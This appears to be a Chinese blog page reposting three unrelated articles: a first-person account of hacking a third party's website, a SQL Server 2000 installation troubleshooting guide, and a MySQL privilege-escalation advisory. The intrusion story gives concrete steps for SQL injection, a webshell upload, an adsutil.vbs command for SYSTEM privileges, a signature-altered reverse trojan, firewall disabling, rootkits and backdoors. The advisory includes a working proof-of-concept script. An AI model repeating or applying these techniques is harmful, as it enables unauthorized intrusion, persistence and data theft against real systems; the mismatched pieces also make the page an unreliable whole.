黑客实战之对一有防火墙机器的渗透
黑客实战之对一有防火墙机器的渗透
作者:Linzi 来源:赛迪网安全社区
前几天群里的兄弟给了一个网站www.111.com,问我可不可以入侵。
一、踩点
ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。
二、注入
从源文件里搜索关键字asp,找到了一个注入点。用nbsi注入,发现是sa口令登陆,去加了一个用户,显示命令完成。哈哈,看来管理员太粗心了。先上传一个webshell,上传了一个老兵的asp木马。接下来的就是个人习惯了,我平时入侵的习惯是先上传webshell,然后再把webshell提升为system权限。因为这样说可以说在入侵之时会非常的方便,我个人觉得这个方法非常好。
三、提升权限
先看哪些特权的:
cs cript C:\Inetpub\AdminS cripts\adsutil.vbs get /W3SVC/InProcessIsapiApps
得到:
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.
InProcessIsapiApps : (LIST) (5 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"
"C:\WINNT\system32\msw3prt.dll"
把asp.dll加进去:
cs cript C:\Inetpub\AdminS cripts\adsutil.vbs
set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32
\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32
\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32
\inetsrv\asp.dll"
然后用asp木马加个用户,显示命令完成。
四、TerminalService
接下来就是开3389了,用net start显示,发现已开了TS服务,但端口上没有3389,觉得可能是改端口了。但事实上它们欺骗我的感情,我用netstat -an察看了一下,发现有3389,再从net start 里发现是对方的防火墙搞的鬼。算了,上传个木马吧,上传了一个改了特征码的20CN反弹木马,然后用木马在GUI下关掉了防火墙,再用3389登陆器登了上去,这里我这样做是因为我知道管理员一定不会在旁边。而对于这个时候,比较老道的方法大家可以用fpipe实现端口重定向,或者用httptunnel。和黑防里面说的那样,不过我试过没有成功过一次,而且我在收集资料里看到黑防的那篇和另外一个高手写的一模一样,不知道谁抄谁。还有一种工具是despoxy,(TCP tunnel for HTTP Proxies)大家有兴趣的话可以去试一下,它可以穿透http代理。
五、简单后门
1.改了FSO名,这样是让我自己享受,这个有system权限的马儿。
2.放了几个rootkit和几个网络上少见的后台。
3.我个从是不喜欢多放后台,觉得很烦。
六、Sniffer
1.TS界面下,下载了些嗅探器。先ARPsniffer图形的看了一下,晕死,没有一台内网机子。又看了一个外网,晕死,整个IP段都是。看来我的运行不错嘛,打开webdavscan查了一下,只有两三个IP是网站,而且是很小型的,接下来就没有什么动力了。
系统安全之安装配置服务器失败的解决
作者:hackmaster 来源:赛迪网安全社区
安装SQL Server 2000出现如下错误信息:安装文件配置服务器失败。
当你想重装SQL Server,而安装时又出现“您的机子上已经安装有一个实例”的提示时,可以删除program files\Microsoft SQL Server文件夹和注册表信息,再安装。
某某动态链接文件找不到
当出现某某动态链接文件找不到时,可以试着在sql server的安装文件中找到这个文件,复制到系统目录下的system和system32文件夹中(一般在出现这个错误消息时,都会提示哪几个文件夹下缺少这个文件)。
当出现安装程序配置服务器失败时,可以试着用一下方法解决:
此错误消息可以在系统目录下找到,例如我的系统是windowXP,则该文件在C:\WINDOWS
\sqlstp.log。
下面是三种可能的错误:
失败一:
正在与服务?
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC 驱动程序 管理器] 驱动程序的 SQLAllocHandle on SQL_H
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC 驱动程序 管理器] 驱动程序的 SQLAllocHandle on SQL_H
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC 驱动程序 管理器] 驱动程序的 SQLAllocHandle on SQL_H
SQL Server 配置?
13:40:06 Process Exit Code: (-1)
13:40:09 安装程序配置服务器失败。
参考服务器错误日志和 C:\WINNT\sqlstp.log 了解更多信息。
13:40:09 Action CleanUpInstall:
当出现这个错误时,试一下重装系统文件。我的机子是Windows2000,在dos下重新运行Windows2000的安装,然后选择修复,而不是全新安装 。修复系统文件之后,再装sql server,则不会出现此错误消息。
失败二:
正在与服务?
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC 驱动程序 管理器] 未发现数据源
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC 驱动程序 管理器] 未发现数据源
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC 驱动程序 管理器] 未发现数据源
SQL Server 配置?
13:50:07 Process Exit Code: (-1)
13:50:10 安装程序配置服务器失败。
参考服务器错误日志和 C:\WINNT\sqlstp.log 了解更多信息。
13:50:10 Action CleanUpInstall:
当出现这个错误时,是因为在注册表删除了HKEY_LOCAL_MACHINE\SOFTWARE\ODBC中有关sql sever的信息。
失败三:
在与服务?
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC SQL Server Driver][Named Pipes]连接?
[Microsoft][ODBC SQL Server Driver][Named Pipes]ConnectionRead (ReadFile()).
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC SQL Server Driver][Named Pipes]连接?
[Microsoft][ODBC SQL Server Driver][Named Pipes]ConnectionRead (GetOverLappedResult()).
driver={sql server};server=ZHL;UID=sa;PWD=;database=master
[Microsoft][ODBC SQL Server Driver][Named Pipes]连接?
[Microsoft][ODBC SQL Server Driver][Named Pipes]ConnectionRead (GetOverLappedResult()).
SQL Server 配置?
17:17:41 Process Exit Code: (-1)
17:17:45 安装程序配置服务器失败。
参考服务器错误日志和C:\WINDOWS\sqlstp.log 了解更多信息。
当出现这个错误时,是因为在注册表删除了HKEY_LOCAL_MACHINE\SOFTWARE\ODBC中有关sql sever的内容。这时可以选择修复注册表,或安装ODBC修复工具。
通过查看我的机器上生成的sqltp.log文件,发现是第二种错误。
我在“管理工具”下的“数据源(ODBC)” 中没有找到安装ODBC Driver相关内容。产生这个问题的原因是某些使用ODBC数据源的程序,在卸载的时候,会将ODBC Driver的信息都删除掉。
事实上,我们只需要用odbcconf.exe来重新注册一下ODBC Driver就可以了。
在Windows/System32目录下有几个脚本文件,可以来完成驱动程序的注册:
odbcconf.exe /S /Lv odbcconf.log /F %systemroot%\system32\mdaccore.rsp
odbcconf.exe /S /Lv odbcconf.log /F %systemroot%\system32\sqlclnt.rsp
odbcconf.exe /S /Lv odbcconf.log /F %systemroot%\system32\odbcconf.rsp
odbcconf.exe /S /Lv odbcconf.log /F %systemroot%\system32\redist.rsp
通过在dos命令行中运行上述命令,则注册好了ODBC驱动程序。
Odbc是好了,但是再一次重装sql又出现了和第一次同样的问题,我开始有点泄气,后来我把安装盘放进去看了下,发现安装的时候有个高级选项,我点开一看,有rebuild注册表的选项,于是我把注册表备份了一份之后,选择这个选项又做了一次,结果这次我的sql居然可以用了。足足高兴了好几天。
如果经过“高级选项”还不能成功,则建议大家再次运行SQL Server安装程序,这次选择“对现有SQL Server实例进行升级、删除或添加组件”项,“向现有安装中添加组件”。安装完成后运行“企业管理器”,若用户选择的身份验证为:“SQL Server和Windows”,并且在“高级选项”安装过程输入了用户自定义的秘密(注意,在进行“添加组件安装”过程中,将不选择身份验证方式) 中则注册SQL Server时可能会出现如下问题:
---------------------------
SQL Server 企业管理器
---------------------------
未能建立与 ZOU 的连接。
原因:用户 'sa' 登录失败。请验证 SQL Server 是否在运行,并检查SQL Server注册属性(通过右击 ZOU 节点),然后重试。
---------------------------
确定
---------------------------
如果大家在“新建SQL Server注册”时,将sa密码为空时则能成功注册。难道是“添加组件安装”过程中将原来安装时设置的sa密码进行了修改,设为空。
MySQL权限提升及安全限制绕过漏洞
作者:dj5221314 来源:黑客基地
受影响系统:
MySQL AB MySQL
$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard
mysql> create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql> create database sAmple;
Query OK, 1 row affected (0.00 sec)
2、权限提升
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
建议:
厂商补丁:MySQL AB
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。











没有评论:
发表评论